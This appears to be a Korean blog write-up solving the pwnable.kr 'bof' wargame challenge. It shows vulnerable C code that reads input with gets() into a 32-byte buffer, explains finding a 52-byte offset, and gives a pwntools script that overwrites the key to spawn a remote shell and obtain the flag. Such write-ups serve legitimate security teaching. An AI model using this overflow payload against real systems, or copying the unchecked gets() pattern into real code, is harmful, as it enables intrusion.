728x90
이번 포스트에서는 Pwnable의 bof 문제에 대해 다루겠다.
문제 코드는 다음과 같다.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
## 문제 해석 :
문제 코드를 살펴 보니, 우리가 입력한 값이 overflowme 라는 변수에 저장되고 해당 변수의 크기가 32바이트인 것을 알 수 있다.
또한 func()의 key값이 0xcafebabe면 쉘코드가 실행된 것을 알 수 있다.
## 문제 풀이 :
우리는 오버플로우를 통해 key값을 0xcafebabe로 바꿔주면 된다.
먼저 해당 key가 존재하는 위치를 알아야 한다.
bof를 디스어셈블한 결과는 다음과 같다.
0x0000000000000954번째 줄을 확인 해보면 w1과 w0을 cmp(비교)하고 있다는 것을 알 수 있다.
또한 그 윗줄을 보면 w0에는 0xbabe, 0xcafe가 들어가 있는 것을 알 수 있다. 즉 w0은 0xcafebabe, w1은 key값인 것을 추측해낼 수 있다.
그 다음에 w1의 offset을 확인해보면 52라는 사실을 알 수 있다.
즉, 우리는 52바이트 만큼 오버플로우한 다음에 원하는 값을 기입하면 된다.
## 최종 결과 :
### 공격 코드 :
from pwn import *
atc = remote("pwnable.kr", 9000) # 원격 연결
payload = "A" * 52 + "\xbe\xba\xfe\xca" # 페이로드 작성
atc.sendline(payload) # 페이로드 전송
atc.interactive() # 유저가 직접 화면에 입출력 할 수 있게 함
### 실행 결과 :
Flag = daddy, I just pwned a buFFer :)
'Wargame > Pwnable' 카테고리의 다른 글
Pwnable (6. random) (0) | 2022.07.04 |
---|---|
Pwnable (5. passcode) (0) | 2022.07.03 |
Pwnable (4. flag) (0) | 2022.07.02 |
Pwnable (2. collision) (0) | 2022.06.19 |
Pwnable (1. fd) (0) | 2022.06.18 |